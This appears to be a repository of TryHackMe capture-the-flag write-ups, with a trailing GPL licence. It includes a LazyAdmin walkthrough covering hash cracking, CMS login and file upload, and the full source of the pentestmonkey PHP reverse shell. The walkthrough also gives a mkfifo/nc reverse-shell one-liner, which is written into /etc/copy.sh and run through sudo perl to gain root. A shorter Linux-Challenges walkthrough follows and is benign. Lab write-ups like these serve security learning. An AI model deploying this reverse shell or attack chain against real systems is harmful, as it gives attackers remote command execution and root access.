in one of these ways:

    a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.

    b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.

    c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.

    d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.

    e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.

  A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

  A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.

  "Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.

  If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

  The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.

  Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

  7. Additional Terms.

  "Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

  When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.

  Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:

    a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or

    b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or

    c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or

    d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or

    e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or

    f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.

  All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

  If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

  Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.

  8. Termination.

  You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

  However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.

  Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

  Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

  9. Acceptance Not Required for Having Copies.

  You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

  10. Automatic Licensing of Downstream Recipients.

  Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.

  An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

  You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

  11. Patents.

  A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's "contributor version".

  A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.

  Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

  In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

  If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

  If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

  A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.

  Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

  12. No Surrender of Others' Freedom.

  If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.

  13. Use with the GNU Affero General Public License.

  Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

  14. Revised Versions of this License.

  The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

  Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.

  If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.

  Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

  15. Disclaimer of Warranty.

  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. Limitation of Liability.

  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

  17. Interpretation of Sections 15 and 16.

  If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <https://www.gnu.org/licenses/>.

Also add information on how to contact you by electronic and paper mail.

  If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:

    <program>  Copyright (C) <year>  <name of author>
    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".

  You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.

  The GNU General Public License does not permit incorporating your program
into proprietary programs.  If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.  But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.


================================================
FILE: LazyAdmin/README.md
================================================
# LazyAdmin

Have some fun! There might be multiple ways to get user access.

- What is the user flag?

	- `nmap -sV -sC <TARGET_IP>`. There are two services exposed: 22/tcp (ssh) and 1583/tcp (simbaexpress)
	- `nmap --script=vuln <TARGET_IP>`
	-		Nmap scan report for 10.10.58.33
			Host is up (0.081s latency).
			Not shown: 998 closed ports
			PORT   STATE SERVICE
			22/tcp open  ssh
			80/tcp open  http
			|_http-csrf: Couldn't find any CSRF vulnerabilities.
			|_http-dombased-xss: Couldn't find any DOM based XSS.
			| http-enum: 
			|_  /content/: Potentially interesting folder
			| http-slowloris-check: 
			|   VULNERABLE:
			|   Slowloris DOS attack
			|     State: LIKELY VULNERABLE
			|     IDs:  CVE:CVE-2007-6750
			|       Slowloris tries to keep many connections to the target web server open and hold
			|       them open as long as possible.  It accomplishes this by opening connections to
			|       the target web server and sending a partial request. By doing so, it starves
			|       the http server's resources causing Denial Of Service.
			|       
			|     Disclosure date: 2009-09-17
			|     References:
			|       http://ha.ckers.org/slowloris/
			|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
			|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
			
		Seems good.
	- Visit `http://<TARGET_IP>/content/` on browser.
	- `gobuster dir -u http://<TARGET_IP>/content/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt`
	-	 	/images (Status: 301)
			/js (Status: 301)
			/inc (Status: 301)
			/as (Status: 301)
			/_themes (Status: 301)
			/attachment (Status: 301)
			
		Interesting...
	- In `http://<TARGET_IP>/content/inc` there is  `mysql\_backup` folder. Download the .sql file inside.
	- Open it with or something similar. You should read a line with a passwd header and the a hashed value.
	- Use `hash-identifier` to detect the type of the hash. MD5. ok.
	- `cat <HASH_HERE> > hash.txt`
	- `sudo john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=RAW-MD5`
	- Go into the login page `http://<TARGET_IP>/content/as/`
	- Login with the username inside the .sql file and the cracked password.
	- Go into `Ads` section.
	- Load the `rshell.php` into the content manager (change the IP address with yours!)
	- `nc -lvnp 1234` on your machine.
	- Go into `http://<TARGET_IP>/content/inc/ads` and click on the file you've just uploaded.
	- You gained a shell. `cd /home/itguy && cat user.txt`
	- `THM{63**bce92******ad111**********07}`

- What is the root flag?

	- `sudo -l`
	- Ok. We don't need sudo password for backup.pl and perl.
	- Analyze backup.pl, it runs /etc/copy.sh. Let'see.
	- It's a reverse shell. Change the specified ip address to yours.
	- `echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP_HERE> 5554 >/tmp/f" > /etc/copy.sh`
	- `nc -lnvp 5554` on your machine
	- `sudo /usr/bin/perl /home/itguy/backup.pl` on target machine.
	- `cat /root/root.txt`
	- `THM{663**41d01******7cb**********99f}`


================================================
FILE: LazyAdmin/hash.txt
================================================
42f749ade7f9e195bf475f37a44cafcb

================================================
FILE: LazyAdmin/mysql_bakup_20191129023059-1.5.1.sql
================================================
<?php return array (
  0 => 'DROP TABLE IF EXISTS `%--%_attachment`;',
  1 => 'CREATE TABLE `%--%_attachment` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `post_id` int(10) NOT NULL,
  `file_name` varchar(255) NOT NULL,
  `date` int(10) NOT NULL,
  `downloads` int(10) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
  2 => 'DROP TABLE IF EXISTS `%--%_category`;',
  3 => 'CREATE TABLE `%--%_category` (
  `id` int(4) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) NOT NULL,
  `link` varchar(128) NOT NULL,
  `title` text NOT NULL,
  `description` varchar(255) NOT NULL,
  `keyword` varchar(255) NOT NULL,
  `sort_word` text NOT NULL,
  `parent_id` int(10) NOT NULL DEFAULT \'0\',
  `template` varchar(60) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `link` (`link`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
  4 => 'DROP TABLE IF EXISTS `%--%_comment`;',
  5 => 'CREATE TABLE `%--%_comment` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `name` varchar(60) NOT NULL DEFAULT \'\',
  `email` varchar(255) NOT NULL DEFAULT \'\',
  `website` varchar(255) NOT NULL,
  `info` text NOT NULL,
  `post_id` int(10) NOT NULL DEFAULT \'0\',
  `post_name` varchar(255) NOT NULL,
  `post_cat` varchar(128) NOT NULL,
  `post_slug` varchar(128) NOT NULL,
  `date` int(10) NOT NULL DEFAULT \'0\',
  `ip` varchar(39) NOT NULL DEFAULT \'\',
  `reply_date` int(10) NOT NULL DEFAULT \'0\',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
  6 => 'DROP TABLE IF EXISTS `%--%_item_data`;',
  7 => 'CREATE TABLE `%--%_item_data` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `item_id` int(10) NOT NULL,
  `item_type` varchar(255) NOT NULL,
  `data_type` varchar(20) NOT NULL,
  `name` varchar(255) NOT NULL,
  `value` text NOT NULL,
  PRIMARY KEY (`id`),
  KEY `item_id` (`item_id`),
  KEY `item_type` (`item_type`),
  KEY `name` (`name`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
  8 => 'DROP TABLE IF EXISTS `%--%_item_plugin`;',
  9 => 'CREATE TABLE `%--%_item_plugin` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `item_id` int(10) NOT NULL,
  `item_type` varchar(255) NOT NULL,
  `plugin` varchar(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
  10 => 'DROP TABLE IF EXISTS `%--%_links`;',
  11 => 'CREATE TABLE `%--%_links` (
  `lid` int(10) NOT NULL AUTO_INCREMENT,
  `request` text NOT NULL,
  `url` text NOT NULL,
  `plugin` varchar(255) NOT NULL,
  PRIMARY KEY (`lid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
  12 => 'DROP TABLE IF EXISTS `%--%_options`;',
  13 => 'CREATE TABLE `%--%_options` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) NOT NULL,
  `content` mediumtext NOT NULL,
  `date` int(10) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `name` (`name`)
) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;',
  14 => 'INSERT INTO `%--%_options` VALUES(\'1\',\'global_setting\',\'a:17:{s:4:\\"name\\";s:25:\\"Lazy Admin&#039;s Website\\";s:6:\\"author\\";s:10:\\"Lazy Admin\\";s:5:\\"title\\";s:0:\\"\\";s:8:\\"keywords\\";s:8:\\"Keywords\\";s:11:\\"description\\";s:11:\\"Description\\";s:5:\\"admin\\";s:7:\\"manager\\";s:6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\";s:5:\\"close\\";i:1;s:9:\\"close_tip\\";s:454:\\"<p>Welcome to SweetRice - Thank your for install SweetRice as your website management system.</p><h1>This site is building now , please come late.</h1><p>If you are the webmaster,please go to Dashboard -> General -> Website setting </p><p>and uncheck the checkbox \\"Site close\\" to open your website.</p><p>More help at <a href=\\"http://www.basic-cms.org/docs/5-things-need-to-be-done-when-SweetRice-installed/\\">Tip for Basic CMS SweetRice installed</a></p>\\";s:5:\\"cache\\";i:0;s:13:\\"cache_expired\\";i:0;s:10:\\"user_track\\";i:0;s:11:\\"url_rewrite\\";i:0;s:4:\\"logo\\";s:0:\\"\\";s:5:\\"theme\\";s:0:\\"\\";s:4:\\"lang\\";s:9:\\"en-us.php\\";s:11:\\"admin_email\\";N;}\',\'1575023409\');',
  15 => 'INSERT INTO `%--%_options` VALUES(\'2\',\'categories\',\'\',\'1575023409\');',
  16 => 'INSERT INTO `%--%_options` VALUES(\'3\',\'links\',\'\',\'1575023409\');',
  17 => 'DROP TABLE IF EXISTS `%--%_posts`;',
  18 => 'CREATE TABLE `%--%_posts` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) NOT NULL,
  `title` varchar(255) NOT NULL,
  `body` longtext NOT NULL,
  `keyword` varchar(255) NOT NULL DEFAULT \'\',
  `tags` text NOT NULL,
  `description` varchar(255) NOT NULL DEFAULT \'\',
  `sys_name` varchar(128) NOT NULL,
  `date` int(10) NOT NULL DEFAULT \'0\',
  `category` int(10) NOT NULL DEFAULT \'0\',
  `in_blog` tinyint(1) NOT NULL,
  `views` int(10) NOT NULL,
  `allow_comment` tinyint(1) NOT NULL DEFAULT \'1\',
  `template` varchar(60) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `sys_name` (`sys_name`),
  KEY `date` (`date`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;',
);?>

================================================
FILE: LazyAdmin/rshell.php
================================================
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>


================================================
FILE: Linux-Challenges/README.md
================================================
# Linux Challenges

- How many visible files can you see in garrys home directory?

	- `ssh garry@<TARGET_IP>` and enter the password.
	- `ls`
	- `*`

- What is flag 1?

	- `ls`
	- `cat flag1.txt`
	- `**********************************`

- What is flag 2?

	- `su bob` and enter the password (shown in flag1.txt).
	- `ls`
	- `cd ../bob`
	- `ls`
	- `cat flag2.txt`
	- `**********************************`

- Flag 3 is located where bob's bash history gets stored.

	- `cat .bash_history`
	- `*********************************`

- Flag 4 is located where cron jobs are created.

	- `crontab -l`
	- `*********************************`

- Find and retrieve flag 5.

	- `find / | grep flag5`
	- `cat /lib/terminfo/E/flag5.txt`
	- `*********************************`

- "Grep" through flag 6 and find the flag. The first 2 characters of the flag is c9.

	- `find / | grep flag6.txt`
	- `cat /home/flag6.txt`
	- `cat /home/flag6.txt | grep c9`
	- `*********************************`

- Look at the systems processes. What is flag 7.

	- `ps -aef`
	- `********************************`

- De-compress and get flag 8.

	- `find / | grep flag8`
	- `tar -xzvf /home/bob/flag8.tar.gz`
	- `cat flag8.txt`
	- `********************************`

- By look in your hosts file, locate and retrieve flag 9.

	- `cat /etc/hosts`
	- `*******************************`

- Find all other users on the system. What is flag 10.

	- `cat /etc/passwd`
	- `*******************************`

- Run the command flag11. Locate where your command alias are stored and get flag 11.

	- `flag11`
	- `cat .bashrc`
	- `*******************************`

- Flag12 is located were MOTD's are usually found on an Ubuntu OS. What is flag12?

	- `cat /etc/update-motd.d/00-header`
	- `********************************`

- Find the difference between two script files to find flag 13.

	- `cd flag13`
	- `diff script1 script2`
	- `*******************************`

- Where on the file system are logs typically stored? Find flag 14.

	- `ls /var/log | grep flag`
	- `cat /var/log/flagfourteen.txt`
	- `*******************************`

- Can you find information about the system, such as the kernel version etc. Find flag 15.

	- `cat /etc/*release`
	- `*******************************`

- Flag 16 lies within another system mount.

	- `ls /media/f/l/a/g/1/6/is/`
	- `ls`
	- `*******************************`

- Login to alice's account and get flag 17. Her password is TryHackMe123

	- `su alice` and enter `TryHackMe123`.
	- `cd ../alice`
	- `cat flag17`
	- `*******************************`

